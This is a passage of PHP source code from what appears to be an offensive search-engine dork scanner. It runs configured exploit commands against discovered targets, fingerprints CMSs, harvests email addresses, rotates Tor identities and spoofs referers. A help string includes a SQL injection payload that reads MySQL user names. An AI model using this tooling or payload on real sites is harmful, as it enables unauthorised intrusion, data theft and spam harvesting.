  1177.         $_SESSION["config"]["proxy"] = $proxy;
  1178.         $_SESSION["config"]["time_change_proxy"] = __timeValueChangeProxy($_SESSION["config"]["time-proxy"]);
  1179.         __plus();
  1180.     }
  1181. }
  1182.  
  1183. ################################################################################
  1184. #GET STATUS HTTP URL############################################################
  1185. ################################################################################
  1186.  
  1187. function __getStatusURL($url) {
  1188.  
  1189.     if (!is_null($url) && !empty($url)) {
  1190.         return FALSE;
  1191.     }
  1192.     __plus();
  1193.     $status = array();
  1194.     $curl = curl_init($url);
  1195.     curl_setopt($curl, CURLOPT_URL, $url);
  1196.     $resultadoCurl = curl_exec($curl);
  1197.     if ($resultadoCurl) {
  1198.         preg_match_all('(HTTP.*)', $resultadoCurl, $status['http']) . __plus();
  1199.  
  1200.         return (!is_null($status['http']) && !empty($status['http'])) ? TRUE : FALSE;
  1201.     }
  1202.     unset($curl);
  1203.     return FALSE;
  1204. }
  1205.  
  1206. ################################################################################
  1207. #BEEP ##########################################################################
  1208. ################################################################################
  1209.  
  1210. function __cli_beep() {
  1211.  
  1212.     echo ($_SESSION['config']['beep']) ? "\x07" : NULL;
  1213. }
  1214.  
  1215. ################################################################################
  1216. #SETUP TO RUN COMMANDS IN ID####################################################
  1217. ################################################################################
  1218.  
  1219. function __configExploitsExec($id, $alvo) {
  1220.  
  1221.     $resultadoURL = __configExploitsList();
  1222.     $final = array();
  1223.     $id_ = ((strstr($id, ','))) ? explode(',', $id) : array($id); // MULTIPLAS ID'S EXPLOITS
  1224.  
  1225.     foreach ($resultadoURL as $key) {
  1226.         $__key = strstr($key, '::') ? explode("\n", $key) : NULL;
  1227.         $final = is_array($__key) ? array_merge($final, $__key) : $final;
  1228.     }
  1229.     foreach ($id_ as $value) {
  1230.         $final__ = isset($value) && !empty($value) ? explode('::', $final[$value]) : NULL;
  1231.         $barra = "{$_SESSION["c1"]}[ INFO ]|___{$_SESSION["c0"]}\n";
  1232.         $barra.= "      {$_SESSION["c1"]}|";
  1233.         print !is_null($final__) ? "\n{$barra}[ EXPLOIT ]:: {$final__[0]} /[ ID ]:: {$value} /[ COMMAND ]:: " . $final__[1] : NULL;
  1234.         echo "\n      ------------------------------------------------------------------------------------------------------------------";
  1235.         print !is_null($final__) ? __command($final__[1], $alvo) : NULL;
  1236.         __plus();
  1237.     }
  1238. }
  1239.  
  1240. ################################################################################
  1241. #LIST COMMANDS FILE exploits.conf###############################################
  1242. ################################################################################
  1243.  
  1244. function __configExploitsList($op = NULL) {
  1245.  
  1246.     $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($_SESSION['config']['file_exploit_conf']))));
  1247.  
  1248.     if (!is_null($op)) {
  1249.         echo __bannerlogo();
  1250.         echo $_SESSION["c11"];
  1251.         echo "[*]__\n";
  1252.         echo "     |MENU EXPLOITS:";
  1253.         echo "\n     |ID TYPE_EXPLOIT::EXPLOIT_COMMAND";
  1254.         echo "\n     |FILE CONFIG: {$_SESSION['config']['file_exploit_conf']}";
  1255.         echo "\n     |USE COMMAND EX: --exploit-id '1,2,3,19'";
  1256.         echo "\n-----------------------------------------------------------------------------------------------------------------------\n";
  1257.         print_r($resultadoURL);
  1258.         __getOut("{$_SESSION['config']['line']}\n");
  1259.     } else {
  1260.         return is_array($resultadoURL) ? $resultadoURL : NULL;
  1261.     }
  1262. }
  1263.  
  1264. ################################################################################
  1265. #INSERT VALUES COMMANDS FILE exploits.conf######################################
  1266. ################################################################################
  1267.  
  1268. function __configExploitsADD($valor = NULL) {
  1269.  
  1270.     if (!is_null($valor) && preg_match("(([a-zA-Z0-9-].*)(::.*)([a-zA-Z0-9-]))", $valor)) {
  1271.         echo __bannerlogo();
  1272.         echo $_SESSION["c11"];
  1273.         echo "[*]__\n";
  1274.         echo "     |MENU EXPLOITS:";
  1275.         echo "\n     |ID TYPE_EXPLOIT::EXPLOIT_COMMAND";
  1276.         echo "\n     |STATUS: ADDED VALUE WITH SUCCESS!";
  1277.         echo "\n     |VALUE: {$valor}";
  1278.         echo "\n-----------------------------------------------------------------------------------------------------------------------\n";
  1279.         __saveValue($_SESSION['config']['file_exploit_conf'], __crypt($valor), 2);
  1280.         print_r(__configExploitsList());
  1281.         __getOut("{$_SESSION['config']['line']}\n");
  1282.     } else {
  1283.  
  1284.         __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}INCORRECT FORMAT! / Format TYPE_EXPLOIT::EXPLOIT_COMMAND / ex: NMAP::nmap -sV _TARGET_\n");
  1285.     }
  1286. }
  1287.  
  1288. ################################################################################
  1289. #CHECK CMS######################################################################
  1290. ################################################################################
  1291.  
  1292. function __SimpleCheckCMS($html) {
  1293.  
  1294.     $cms['XOOPS CMS IDENTIFIED'] = '<meta name="generator" content="XOOPS"';
  1295.     $cms['Joomla CMS IDENTIFIED'] = '<meta name="generator" content="Joomla!';
  1296.     $cms['Wordpress CMS IDENTIFIED'] = '<meta name="generator" content="WordPress';
  1297.     $cms['SMF CMS IDENTIFIED-1'] = '<a href="http://www.simplemachines.org/" title="Simple Machines Forum" target="_blank">Powered by SMF';
  1298.     $cms['SMF CMS IDENTIFIED-2'] = '<a href="http://www.simplemachines.org/about/copyright.php" title="Free Forum Software" target="_blank">SMF';
  1299.     $cms['vBulletin CMS IDENTIFIED-1'] = '<meta name="generator" content="vBulletin';
  1300.     $cms['vBulletin CMS IDENTIFIED-2'] = 'Powered by <a href="http://www.vbulletin.com" id="vbulletinlink">vBulletin&trade;</a> Version';
  1301.     $cms['vBulletin CMS IDENTIFIED-3'] = 'powered by vBulletin';
  1302.     $cms['phpBB CMS IDENTIFIED'] = 'Powered by <a href="http://www.phpbb.com/">phpBB</a>';
  1303.     $cms['MyBB CMS IDENTIFIED'] = 'Powered By <a href="http://www.mybboard.net" target="_blank">MyBB</a>';
  1304.     $cms['Drupal CMS IDENTIFIED-1'] = 'name="Generator" content="Drupal';
  1305.     $cms['Drupal CMS IDENTIFIED-2'] = 'Drupal.settings';
  1306.     $cms['MODx CMS IDENTIFIED'] = '<a href="http://www.modx.com" target="_blank"> Powered by MODx</a>';
  1307.     $cms['SilverStripe CMS IDENTIFIED'] = '<meta name="generator" content="SilverStripe - http://silverstripe.org" />';
  1308.     $cms['Textpattern CMS IDENTIFIED'] = 'Powered by <a href="http://www.textpattern.com" title="Textpattern">Textpattern</a>';
  1309.     $cms['Adapt CMS IDENTIFIED'] = 'Powered by <a href="http://www.adaptcms.com">AdaptCMS';
  1310.     $cms['ATutor CMS IDENTIFIED'] = '<a href="/about.php">About ATutor</a>';
  1311.     $cms['b2evolution CMS IDENTIFIED'] = '<meta name="generator" content="b2evolution';
  1312.     $cms['Moodle CMS IDENTIFIED-1'] = 'Powered by <a href="http://moodle.org" title="Moodle">Moodle</a>';
  1313.     $cms['Moodle CMS IDENTIFIED-2 '] = '<meta name="key words" content="moodle, Course Management System " />';
  1314.     $cms['Moodle CMS IDENTIFIED-3'] = '://moodle';
  1315.     $cms['Moodle CMS IDENTIFIED-4'] = '://www.mood le';
  1316.     $cms['ATutor CMS IDENTIFIED'] = '<META NAME="GENERATOR" CONTENT="PHP-Nuke';
  1317.     $cms['PostNuke CMS IDENTIFIED'] = '<meta name="generator" content="PostNuke';
  1318.     $cms['CloudFlare IDENTIFIED-1'] = '<a href="http://www.cloudflare.com/" target="_blank" style=';
  1319.     $cms['CloudFlare IDENTIFIED-2'] = 'DDoS protection by CloudFlare</a>';
  1320.  
  1321.     foreach ($cms as $campo => $valor) {
  1322.  
  1323.         __plus();
  1324.         if (strstr($html, $cms[$campo])) {
  1325.             return(" {$campo} ");
  1326.         }
  1327.     }
  1328.     return "0xUNIDENTIFIED";
  1329. }
  1330.  
  1331. ################################################################################
  1332. #REPLACE THE SECURITIES URL#####################################################
  1333. ################################################################################
  1334.  
  1335. function __replace($exploit, $url) {
  1336.  
  1337.     $exploit_ = strstr($_SESSION['config']['replace'], '[INURL]') ?
  1338.             $exploit :
  1339.             __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n");
  1340.     $exploit = explode("[INURL]", $exploit_);
  1341.     $exploit[0] = (isset($exploit[0]) && !is_null($exploit[0])) ?
  1342.             $exploit[0] :
  1343.             __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n");
  1344.     $exploit[1] = (isset($exploit[0]) && !is_null($exploit[1])) ?
  1345.             $exploit[1] :
  1346.             __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n");
  1347.     return str_replace($exploit[0], $exploit[1], $url);
  1348. }
  1349.  
  1350. ################################################################################
  1351. #REMOVE VALUE URL###############################################################
  1352. ################################################################################
  1353.  
  1354. function __remove($value, $url) {
  1355.  
  1356.     return str_replace($value, NULL, $url);
  1357. }
  1358.  
  1359. ################################################################################
  1360. #VALID MENU OPTIONS#############################################################
  1361. ################################################################################
  1362.  
  1363. function __validateOptions($opArray, $validar, $op = NULL) {
  1364.  
  1365.     if (empty($validar) || empty($opArray)) {
  1366.         return FALSE;
  1367.     }
  1368.  
  1369.     $array = explode(',', $opArray);
  1370.     if (is_null($op)) {
  1371.         $busca = explode(',', $validar);
  1372.         for ($i = 0; $i <= count($busca); $i++) {
  1373.             if (in_array($busca[$i], $array)) {
  1374.                 return TRUE;
  1375.             }
  1376.         }
  1377.     } else {
  1378.         for ($i = 0; $i <= count($array); $i++) {
  1379.             if (strstr($validar, $array[$i])) {
  1380.                 return TRUE;
  1381.             }
  1382.         }
  1383.     }
  1384.     return FALSE;
  1385. }
  1386.  
  1387. ################################################################################
  1388. #VALIDATE OPERATING SYSTEM AND COLOR SYSTEM#####################################
  1389. ################################################################################
  1390.  
  1391. function __OS() {
  1392.  
  1393.     $sistema = strtoupper(PHP_OS);
  1394.     if (substr($sistema, 0, 3) == "WIN") {
  1395.         $i = 0;
  1396.         system("cls");
  1397.         $_SESSION["os"] = 1;
  1398.         while ($i <= 17) {
  1399.             $_SESSION["c{$i}"] = NULL;
  1400.             $i++;
  1401.         }
  1402.     } else {
  1403.         system("command clear");
  1404.         //DEFINING COLORS
  1405.         $_SESSION["c0"] = "\033[0m";      // END OF COLOR
  1406.         $_SESSION["c1"] = "\033[1;37m";   // WHITE
  1407.         $_SESSION["c2"] = "\033[1;33m";   // YELLOW
  1408.         $_SESSION["c3"] = "\033[1;31m";   // RED LIGHT
  1409.         $_SESSION["c4"] = "\033[32m";   // GREEN
  1410.         $_SESSION["c5"] = "\033[1;32m";   // GREEN LIGHT
  1411.         $_SESSION["c6"] = "\033[0;35m";   // PURPLE
  1412.         $_SESSION["c7"] = "\033[1;30m";   // DARK GREY
  1413.         $_SESSION["c8"] = "\033[0;34m";   // BLUE
  1414.         $_SESSION["c9"] = "\033[0;37m";   // LIGHT GREY
  1415.         $_SESSION["c10"] = "\033[0;33m";  // BROWN
  1416.         $_SESSION["c11"] = "\033[1;35m";  // LIGHT PURPLE
  1417.         $_SESSION["c12"] = "\033[0;31m";  // RED
  1418.         $_SESSION["c13"] = "\033[1;36m";  // LIGHT CYAN
  1419.         $_SESSION["c14"] = "\033[0;36m";  // CIANO
  1420.         $_SESSION["c15"] = "\033[1;34m";  // LIGHT BLUE
  1421.         $_SESSION["c16"] = "\033[02;31m"; // DARK RED
  1422.     }
  1423. }
  1424.  
  1425. ################################################################################
  1426. #SAVE URL VULNERABLE  COMMAND ECHO >> FILE######################################
  1427. ################################################################################
  1428.  
  1429. function __saveValue($arquivo, $valor, $op = NULL) {
  1430.  
  1431.     $path = !not_isnull_empty($_SESSION['config']['save-as']) ? $_SESSION['config']['out_put_paste'] : NULL;
  1432.     echo ($op == 1) ?
  1433.             "\n{$_SESSION["c1"]}|_[ + ]{$_SESSION["c7"]} VALUE SAVED IN THE FILE::{$_SESSION["c9"]} {$arquivo}{$_SESSION["c0"]}" : NULL;
  1434.     file_put_contents(($op == 2) ? $arquivo : $path . $arquivo, "{$valor}\n", FILE_APPEND);
  1435. }
  1436.  
  1437. ################################################################################
  1438. #CAPTURE ID KEY TO SEARCH LYCOS MAKE############################################
  1439. ################################################################################
  1440.  
  1441. function __getIdSearchLycos($html) {
  1442.  
  1443.     $match = NULL;
  1444.     preg_match_all("(val.*)", $html, $match);
  1445.     return (str_replace(');', '', str_replace('val(', '', str_replace("'", '', $match[0][4]))));
  1446. }
  1447.  
  1448. ################################################################################
  1449. #RENEW IP NETWORK TOR###########################################################
  1450. ################################################################################
  1451.  
  1452. function __renewTOR() {
  1453.  
  1454.     system("[ -z 'pidof tor' ] || pidof tor | xargs sudo kill -HUP;");
  1455.     $request__ = __request_info('http://dynupdate.no-ip.com/ip.php', $_SESSION["config"]["proxy"]);
  1456.     __plus();
  1457.     echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ IP NETWORK TOR RENEWED ]::: {$_SESSION["c1"]}[ {$request__['corpo'] } ]\n{$_SESSION["c0"]}";
  1458.     /* https://pt.wikipedia.org/wiki/Pidof
  1459.      * pidof é um utilitário Linux que encontra o ID de um programa em execução.
  1460.      * Note que o próprio nome é a junção dos termos pid, que significa identidade
  1461.      * de um processo e of que significa de. Portanto pidof quer dizer identidade
  1462.      * de processo de...
  1463.      * O equivalente no Solaris é pgrep. pidof firefox-bin O commando acima retorna
  1464.      * o pid do processo que está executando firefox-bin.
  1465.      * Pode-se combinar o commando 'pidof' com o commando kill dessa forma:
  1466.      * kill -9 $(pidof firefox-bin) pidof é simplesmente uma ligação simbólica
  1467.      * para o programa killall5,que está localizado em /sbin.
  1468.      */
  1469. }
  1470.  
  1471. ################################################################################
  1472. #This function will validate emails#############################################
  1473. ################################################################################
  1474.  
  1475. function __validateEmail($email) {
  1476.  
  1477.     $conta = "^[a-zA-Z0-9\._-]+@";
  1478.     $domino = "[a-zA-Z0-9\._-]+.";
  1479.     $extensao = "([a-zA-Z]{2,4})$";
  1480.  
  1481.     $pattern = $conta . $domino . $extensao;
  1482.  
  1483.     return (ereg($pattern, $email)) ? TRUE : FALSE;
  1484. }
  1485.  
  1486. ################################################################################
  1487. #This function will validate URLS###############################################
  1488. ################################################################################
  1489.  
  1490. function __validateURL($url) {
  1491.  
  1492.     if (preg_match("#\b(http[s]?://|ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si", $url)) {
  1493.         return TRUE;
  1494.     } else {
  1495.         return FALSE;
  1496.     }
  1497. }
  1498.  
  1499. ################################################################################
  1500. #This function will filter custom values########################################
  1501. ################################################################################
  1502.  
  1503. function __extractRegCustom($html, $url_) {
  1504.  
  1505.     $matches = NULL;
  1506.     __plus();
  1507.     preg_match_all("#\b{$_SESSION['config']['regexp-filter']}#i", $html, $matches);
  1508.  
  1509.     echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
  1510.     echo "{$_SESSION["c1"]} |_[ URL ] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n";
  1511.  
  1512.     $matches_ = array_filter(array_unique(array_unique($matches[0])));
  1513.     foreach ($matches_ as $valor) {
  1514.  
  1515.         if (not_isnull_empty($valor)) {
  1516.  
  1517.             echo "{$_SESSION["c1"]}__[ + ] {$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor}\n";
  1518.             $_SESSION["config"]["resultado_valores"].="{$valor}\n";
  1519.             __plus();
  1520.             __saveValue($_SESSION["config"]["arquivo_output"], $valor);
  1521.             $_SESSION['config']['cont_valores'] ++;
  1522.         }
  1523.         __plus();
  1524.     }
  1525.     __timeSec('delay', "\n");
  1526. }
  1527.  
  1528. ################################################################################
  1529. #This function will filter and mail each url####################################
  1530. ################################################################################
  1531.  
  1532. function __filterEmailif($resultados) {
  1533.  
  1534.     if (is_array($resultados)) {
  1535.         echo "{$_SESSION["c1"]}|_[ ! ][ INFO ]{$_SESSION["c16"]}[ FILTERING VALUE ]::{$_SESSION["c1"]}[ {$_SESSION["config"]['ifemail']} ]{$_SESSION["c0"]}\n";
  1536.         foreach ($resultados as $value) {
  1537.  
  1538.             $temp[] = (strstr($value, $_SESSION['config']['ifemail']) ? $value : NULL);
  1539.         }
  1540.  
  1541.         return array_unique(array_filter($temp));
  1542.     }
  1543.  
  1544.     RETURN FALSE;
  1545. }
  1546.  
  1547. ################################################################################
  1548. #This function extract emails###################################################
  1549. ################################################################################
  1550.  
  1551. function __extractEmail($html, $url_) {
  1552.  
  1553.     $matches = NULL;
  1554.     __plus();
  1555.     preg_match_all('/([\w\d\.\-\_]+)@([\w\d\.\_\-]+)/mi', $html, $matches);
  1556.     echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
  1557.     echo "{$_SESSION["c1"]}|_[ ! ][ INFO ][URL] :: {$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n";
  1558.  
  1559.     $_matches = array_filter(array_unique(array_unique($matches[0])));
  1560.     $matches_ = (not_isnull_empty($_SESSION['config']['ifemail']) ? __filterEmailif($_matches) : $_matches);
  1561.  
  1562.     foreach ($matches_ as $valor) {
  1563.  
  1564.         if (__validateEmail($valor)) {
  1565.  
  1566.             echo "{$_SESSION["c1"]}|_[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor} "
  1567.             . (filter_var($valor, FILTER_VALIDATE_EMAIL) ?
  1568.                     "{$_SESSION["c14"]}[ OK ]{$_SESSION["c0"]}" : "{$_SESSION["c16"]}[ NO ]{$_SESSION["c0"]}") . "\n";
  1569.             (filter_var($valor, FILTER_VALIDATE_EMAIL) ? $_SESSION["config"]["resultado_valores"].="{$valor}\n" : NULL);
  1570.             __plus();
  1571.             (filter_var($valor, FILTER_VALIDATE_EMAIL) ? __saveValue($_SESSION["config"]["arquivo_output"], $valor) : NULL);
  1572.  
  1573.             $_SESSION['config']['cont_valores'] ++;
  1574.         }
  1575.         __plus();
  1576.     }
  1577.     __timeSec('delay', "\n");
  1578. }
  1579.  
  1580. ################################################################################
  1581. #This function will filter urls each url########################################
  1582. ################################################################################
  1583.  
  1584. function __extractURLs($html, $url_) {
  1585.  
  1586.     $matches = NULL;
  1587.     __plus();
  1588.     $reg_tag = 'href=\"|src=\"|value=\"';
  1589.     $reg = "#\b({$reg_tag}http[s]?://|{$reg_tag}ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si";
  1590.     preg_match_all($reg, $html, $matches);
  1591.     echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
  1592.     echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n";
  1593.     echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
  1594.     $matches_ = array_unique(array_filter($matches[0]));
  1595.     $blacklist = $_SESSION["config"]['blacklist'];
  1596.     $blacklist_ = (isset($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $blacklist) : $blacklist;
  1597.  
  1598.     foreach ($matches_ as $valor) {
  1599.  
  1600.         $valor = __filterURLTAG($valor);
  1601.         if (__validateURL($valor) && !__validateOptions($blacklist_, $valor, 1)) {
  1602.             echo "{$_SESSION["c1"]}__[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION["config"]['cont_url']}"
  1603.             . " {$_SESSION["c9"]}]- {$valor}{$_SESSION["c0"]}\n";
  1604.             $_SESSION["config"]["resultado_valores"].="{$valor}\n";
  1605.             __plus();
  1606.             __saveValue($_SESSION["config"]["arquivo_output"], $valor) . __plus();
  1607.             $_SESSION["config"]["cont_url"] ++;
  1608.         }
  1609.         __plus();
  1610.     }
  1611.     __timeSec('delay', "\n");
  1612. }
  1613.  
  1614. ################################################################################
  1615. #This function removes the last regular expression ta###########################
  1616. ################################################################################
  1617.  
  1618. function __filterURLTAG($valor = NULL) {
  1619.  
  1620.     return(!is_null($valor)) ? str_replace('"', '', str_replace('href="', '', str_replace('src="', '', str_replace('value="', '', $valor)))) : NULL;
  1621. }
  1622.  
  1623. ################################################################################
  1624. #Esta função irá formatar salvar urls concatenadas##############################
  1625. ################################################################################
  1626.  
  1627. function __checkURLs($resultado, $url_) {
  1628.  
  1629.     __plus();
  1630.     $code = !is_null($_SESSION["config"]["ifcode"]) ? $_SESSION["config"]["ifcode"] : 200;
  1631.     $valor = ($resultado['server']['http_code'] == $code) ? "{$_SESSION["c4"]}" : NULL;
  1632.  
  1633.     echo "\n{$_SESSION["c1"]}  |_[ INFO ]{$_SESSION["c0"]}[{$_SESSION["c1"]} {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]\n";
  1634.     echo "{$_SESSION["c1"]}  |_[ INFO ][URL] {$_SESSION["c0"]}::{$_SESSION["c9"]}{$valor} {$url_} {$_SESSION["c0"]}\n";
  1635.     echo "{$_SESSION["c1"]}  |_[ INFO ][STATUS]::{$valor} {$resultado['server']['http_code']} {$_SESSION["c0"]}\n";
  1636.  
  1637.     __timeSec('delay');
  1638.     echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}";
  1639.     __plus();
  1640.  
  1641.     $target_ = array('url_clean' => $url_, 'url_xpl' => $url_);
  1642.  
  1643.     if ($resultado == $code) {
  1644.  
  1645.         $_SESSION['config']['resultado_valores'].= "{$url_}\n";
  1646.         __saveValue($_SESSION["config"]["arquivo_output"], $url_) . __plus();
  1647.         __plus();
  1648.  
  1649.         (not_isnull_empty($_SESSION['config']['sub-file']) &&
  1650.                 is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL);
  1651.         __plus();
  1652.  
  1653.         (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL);
  1654.         __plus();
  1655.  
  1656.         (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ?
  1657.                         __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL);
  1658.         __plus();
  1659.     }
  1660.  
  1661.     (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL);
  1662.     __plus();
  1663.  
  1664.     (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL);
  1665.     __plus();
  1666.  
  1667.     $_SESSION['config']['cont_valores'] ++;
  1668.  
  1669.     __plus();
  1670. }
  1671.  
  1672. ################################################################################
  1673. #This function will send the contents of the output buffer (if any)#############
  1674. ################################################################################
  1675.  
  1676. function __plus() {
  1677.  
  1678.     ob_flush();
  1679.     flush();
  1680. }
  1681.  
  1682. ################################################################################
  1683. #FORMATTING POST################################################################
  1684. ################################################################################
  1685.  
  1686. function __convertUrlQuery($query) {
  1687.  
  1688.     $queryParts = explode('&', $query);
  1689.     $params = array();
  1690.     $match = array();
  1691.     foreach ($queryParts as $param) {
  1692.         $item = explode('=', $param);
  1693.         preg_match_all("([a-zA-Z0-9]=(.*))", $param, $match);
  1694.         $params[$item[0]] = ($match[1][0]);
  1695.     }
  1696.  
  1697.     return $params;
  1698. }
  1699.  
  1700. ################################################################################
  1701. #OPEN FILE BASE FOR VALIDATION##################################################
  1702. ################################################################################
  1703.  
  1704. function __openFile($arquivo, $op = NULL) {
  1705.  
  1706.     if (isset($arquivo) && !empty($arquivo)) {
  1707.         $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($arquivo))));
  1708.  
  1709.         if (is_array($resultadoURL)) {
  1710.  
  1711.             return ($op == 1 ? $resultadoURL : __process($resultadoURL));
  1712.         }
  1713.     }
  1714. }
  1715.  
  1716. ################################################################################
  1717. #CATCH INFORMATION IP###########################################################
  1718. ################################################################################
  1719.  
  1720. function __infoIP($ip, $op = 0) {
  1721.  
  1722.     /*
  1723.       [longitude] => 4.9
  1724.       [latitude] => 52.3667
  1725.       [asn] => AS196752
  1726.       [offset] => 2
  1727.       [ip] => 46.19.37.0
  1728.       [area_code] => 0
  1729.       [continent_code] => EU
  1730.       [dma_code] => 0
  1731.       [timezone] => Europe/Amsterdam
  1732.       [country_code] => NL
  1733.       [isp] => Tilaa B.V.
  1734.       [country] => Netherlands
  1735.       [country_code3] => NLD
  1736.      */
  1737.  
  1738.     preg_match_all('#\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})#si', $ip, $ip);
  1739.     if (filter_var($ip[0][0], FILTER_VALIDATE_IP)) {
  1740.         if ($op == 0) {
  1741.             $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL);
  1742.             __plus();
  1743.             return json_decode($request__['corpo'], TRUE);
  1744.         } else {
  1745.             $_SESSION['config']['verifica_info'] = NULL;
  1746.             $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL);
  1747.             $return = json_decode($request__['corpo'], TRUE);
  1748.             __plus();
  1749.             return "{$return['city']} /{$return['country']} - {$return['country_code']} /{$return['continent_code']} , ISP: {$return['isp']}";
  1750.         }
  1751.     }
  1752. }
  1753.  
  1754. ################################################################################
  1755. #CAPTURE URL POSITION IN BROWSER ALEXA / RELEVANCE OF SUCH URL##################
  1756. ################################################################################
  1757.  
  1758. function __positionAlexa($url) {
  1759.  
  1760.     $xmlSimple = simplexml_load_file("http://data.alexa.com/data?cli=10&dat=snbamz&url={$url}");
  1761.     $resultRank = $xmlSimple->SD[1];
  1762.     __plus();
  1763.     if ($resultRank) {
  1764.         $retornoRank = $resultRank->REACH->attributes()->RANK;
  1765.     } else {
  1766.         $retornoRank = 0;
  1767.     }
  1768.     return $retornoRank . __plus();
  1769. }
  1770.  
  1771. ################################################################################
  1772. #GENERATE URL REFERENCE random##################################################
  1773. ################################################################################
  1774.  
  1775. function __setURLReferenceRandom() {
  1776.  
  1777.     $dominio = array('Adzuna', 'Bixee', 'CareerBuilder', 'Craigslist', 'Dice', 'Eluta.ca', 'Hotjobs', 'JobStreet', 'Incruit', 'Indeed', 'Glassdoor', 'LinkUp', 'Monster', 'Naukri',
  1778.         'Yahoo', 'Legal', 'GoogleScholar', 'Lexis', 'Manupatra', 'Quicklaw', 'WestLaw', 'Medical', 'Bing Health', 'Bioinformatic', 'CiteAb', 'EB-eye', 'Entrez', 'mtv', 'ubuntu',
  1779.         'GenieKnows', 'GoPubMed', 'Healia', 'Healthline', 'Nextbio', 'PubGene', 'Quertle', 'Searchmedica', 'WebMD', 'News', 'BingNews', 'Daylife', 'GoogleNews', 'aol', 'microsoft',
  1780.         'MagPortal', 'Newslookup', 'Nexis', 'Topix', 'Trapit', 'YahooNews', 'People', 'Comfibook', 'Ex.plode', 'InfoSpace', 'PeekYou', 'Spock', 'Spokeo', 'WorldwideHelpers', 'iPhone',
  1781.         'Zabasearch', 'ZoomInfo', 'Fizber', 'HotPads', 'Realtor', 'Redfin', 'Rightmove', 'Trulia', 'Zillow', 'Zoopla', 'StuRents', 'globo', 'sbt', 'band', 'cnn', 'blog.inurl.com.br'
  1782.     );
  1783.  
  1784.     $gTLD = array('aero', 'arpa', 'biz', 'com', 'coop', 'edu', 'gov', 'info', 'int', 'mil', 'museum', 'name', 'net', 'org', 'pro', 'tel');
  1785.  
  1786.     $arquivo = array('admin', 'index', 'wp-admin', 'info', 'shop', 'file', 'out', 'open', 'news', 'add', 'profile', 'search', 'open', 'photo', 'insert', 'view');
  1787.     $ext = array('exe', 'php', 'asp', 'aspx', 'jsf', 'html', 'htm', 'lua', 'log', 'cgi', 'sh', 'css', 'py', 'sql', 'xml', 'rss');
  1788.  
  1789.     $pasta = array('App_Files', 'Assets', 'CFFileServlet', 'CFIDE', 'Communication', 'Computers', 'CoreAdminHome', 'CoreHome', 'Crawler', 'Creator',
  1790.         'DECOM', 'Dashboard', 'Drives', 'Dynamic', 'FCKeditor', 'Feedback', 'Files', 'Flash', 'Forms', 'Help', 'ICEcore', 'IO', 'Image', 'JPG', 'getold',
  1791.         'JSP', 'KFSI', 'Laguna', 'Login', 'Motors', 'MultiSites', 'NR', 'OCodger', 'RSS', 'Safety', 'Smarty', 'Software', 'Static', 'Stress', 'getfull',
  1792.         'Sugarcrm', 'Travel', 'UPLOAD', 'Urussanga', 'UserFiles', '__tpl', '_fckeditor', '_info', '_machine', '_plugins', '_sample', '_samples', 'postmost',
  1793.         '_source', '_testcases', 'aaa', 'abelardoluz', 'aberlardoluz', 'aborto', 'about', 'aboutus', 'abuse', 'abusers', 'ac_drives', 'acabamentos', 'mail',
